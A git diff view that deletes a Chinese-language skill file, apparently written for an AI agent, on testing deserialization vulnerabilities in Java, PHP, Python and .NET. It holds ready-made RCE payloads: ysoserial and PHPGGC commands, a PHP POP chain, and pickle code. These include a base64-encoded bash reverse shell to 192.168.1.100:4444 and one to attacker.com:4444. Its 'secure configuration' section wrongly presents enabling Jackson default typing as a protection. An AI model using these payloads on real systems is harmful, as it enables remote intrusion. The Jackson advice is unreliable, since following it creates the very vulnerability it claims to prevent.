|
||||
- 验证Referer是否为同源
|
||||
- 注意空Referer的处理
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对用户账户造成实际影响
|
||||
- 记录所有测试步骤
|
||||
- 考虑不同浏览器的行为差异
|
||||
@@ -1,310 +0,0 @@
|
||||
---
|
||||
name: deserialization-testing
|
||||
description: 反序列化漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 反序列化漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
|
||||
|
||||
## 常见格式
|
||||
|
||||
### Java
|
||||
|
||||
**常见库:**
|
||||
- Java原生序列化
|
||||
- Jackson
|
||||
- Fastjson
|
||||
- XStream
|
||||
- Apache Commons Collections
|
||||
|
||||
### PHP
|
||||
|
||||
**常见函数:**
|
||||
- unserialize()
|
||||
- json_decode()
|
||||
|
||||
### Python
|
||||
|
||||
**常见模块:**
|
||||
- pickle
|
||||
- yaml
|
||||
- json
|
||||
|
||||
### .NET
|
||||
|
||||
**常见类:**
|
||||
- BinaryFormatter
|
||||
- SoapFormatter
|
||||
- DataContractSerializer
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别序列化数据
|
||||
|
||||
**Java序列化特征:**
|
||||
```
|
||||
AC ED 00 05 (十六进制)
|
||||
rO0 (Base64)
|
||||
```
|
||||
|
||||
**PHP序列化特征:**
|
||||
```
|
||||
O:8:"stdClass"
|
||||
a:2:{s:4:"test";s:4:"data";}
|
||||
```
|
||||
|
||||
**Python pickle特征:**
|
||||
```
|
||||
\x80\x03
|
||||
```
|
||||
|
||||
### 2. 检测反序列化点
|
||||
|
||||
**常见位置:**
|
||||
- Cookie值
|
||||
- Session数据
|
||||
- API参数
|
||||
- 文件上传
|
||||
- 缓存数据
|
||||
- 消息队列
|
||||
|
||||
### 3. Java反序列化
|
||||
|
||||
**Apache Commons Collections利用:**
|
||||
```java
|
||||
// 使用ysoserial生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
```
|
||||
|
||||
**常见Gadget链:**
|
||||
- CommonsCollections1-7
|
||||
- Spring1-2
|
||||
- ROME
|
||||
- Jdk7u21
|
||||
|
||||
### 4. PHP反序列化
|
||||
|
||||
**基础测试:**
|
||||
```php
|
||||
<?php
|
||||
class Test {
|
||||
public $cmd = "id";
|
||||
function __destruct() {
|
||||
system($this->cmd);
|
||||
}
|
||||
}
|
||||
echo serialize(new Test());
|
||||
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
|
||||
?>
|
||||
```
|
||||
|
||||
**魔术方法利用:**
|
||||
- __destruct()
|
||||
- __wakeup()
|
||||
- __toString()
|
||||
- __call()
|
||||
|
||||
### 5. Python pickle
|
||||
|
||||
**基础测试:**
|
||||
```python
|
||||
import pickle
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('id',))
|
||||
|
||||
pickle.dumps(RCE())
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### Java RCE
|
||||
|
||||
**使用ysoserial:**
|
||||
```bash
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
|
||||
|
||||
# Base64编码
|
||||
base64 -w 0 payload.bin
|
||||
```
|
||||
|
||||
**手动构造:**
|
||||
```java
|
||||
// 使用Gadget链构造恶意对象
|
||||
// 参考ysoserial源码
|
||||
```
|
||||
|
||||
### PHP RCE
|
||||
|
||||
**利用POP链:**
|
||||
```php
|
||||
<?php
|
||||
class A {
|
||||
public $b;
|
||||
function __destruct() {
|
||||
$this->b->test();
|
||||
}
|
||||
}
|
||||
|
||||
class B {
|
||||
public $c;
|
||||
function test() {
|
||||
call_user_func($this->c, "id");
|
||||
}
|
||||
}
|
||||
|
||||
$a = new A();
|
||||
$a->b = new B();
|
||||
$a->b->c = "system";
|
||||
echo serialize($a);
|
||||
?>
|
||||
```
|
||||
|
||||
### Python RCE
|
||||
|
||||
**Pickle RCE:**
|
||||
```python
|
||||
import pickle
|
||||
import base64
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
|
||||
|
||||
payload = pickle.dumps(RCE())
|
||||
print(base64.b64encode(payload))
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**Base64编码:**
|
||||
```
|
||||
原始: rO0ABXNy...
|
||||
编码: ck8wQUJYTnk...
|
||||
```
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
%72%4F%00%AB...
|
||||
```
|
||||
|
||||
### 过滤器绕过
|
||||
|
||||
**使用不同Gadget链:**
|
||||
- 如果CommonsCollections被过滤,尝试Spring
|
||||
- 如果某个版本被过滤,尝试其他版本
|
||||
|
||||
### 类名混淆
|
||||
|
||||
**使用反射:**
|
||||
```java
|
||||
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### ysoserial
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
java -jar ysoserial.jar
|
||||
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
|
||||
# 生成Base64
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" | base64
|
||||
```
|
||||
|
||||
### PHPGGC
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
./phpggc -l
|
||||
|
||||
# 生成Payload
|
||||
./phpggc Monolog/RCE1 system id
|
||||
|
||||
# 生成编码Payload
|
||||
./phpggc -b Monolog/RCE1 system id
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截包含序列化数据的请求
|
||||
2. 使用插件生成Payload
|
||||
3. 替换原始数据
|
||||
4. 观察响应
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制序列化数据
|
||||
2. 验证反序列化触发代码执行
|
||||
3. 评估影响(RCE、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和序列化数据格式
|
||||
- 使用的Gadget链或利用方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、使用安全序列化等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免反序列化不可信数据**
|
||||
- 使用JSON替代
|
||||
- 使用安全的序列化格式
|
||||
|
||||
2. **输入验证**
|
||||
```java
|
||||
// 白名单验证类名
|
||||
private static final Set<String> ALLOWED_CLASSES =
|
||||
Set.of("com.example.SafeClass");
|
||||
|
||||
private Object readObject(ObjectInputStream ois) {
|
||||
// 验证类名
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
3. **使用安全配置**
|
||||
```java
|
||||
// Jackson配置
|
||||
objectMapper.enableDefaultTyping();
|
||||
objectMapper.setVisibility(PropertyAccessor.FIELD,
|
||||
JsonAutoDetect.Visibility.ANY);
|
||||
```
|
||||
|
||||
4. **类加载器隔离**
|
||||
- 使用自定义ClassLoader
|
||||
- 限制可加载的类
|
||||
|
||||
5. **监控和日志**
|
||||
- 记录反序列化操作
|
||||
- 监控异常行为
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同版本库的Gadget链差异
|
||||
- 测试时注意Payload大小限制
|
||||
- 了解目标应用的依赖库版本
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user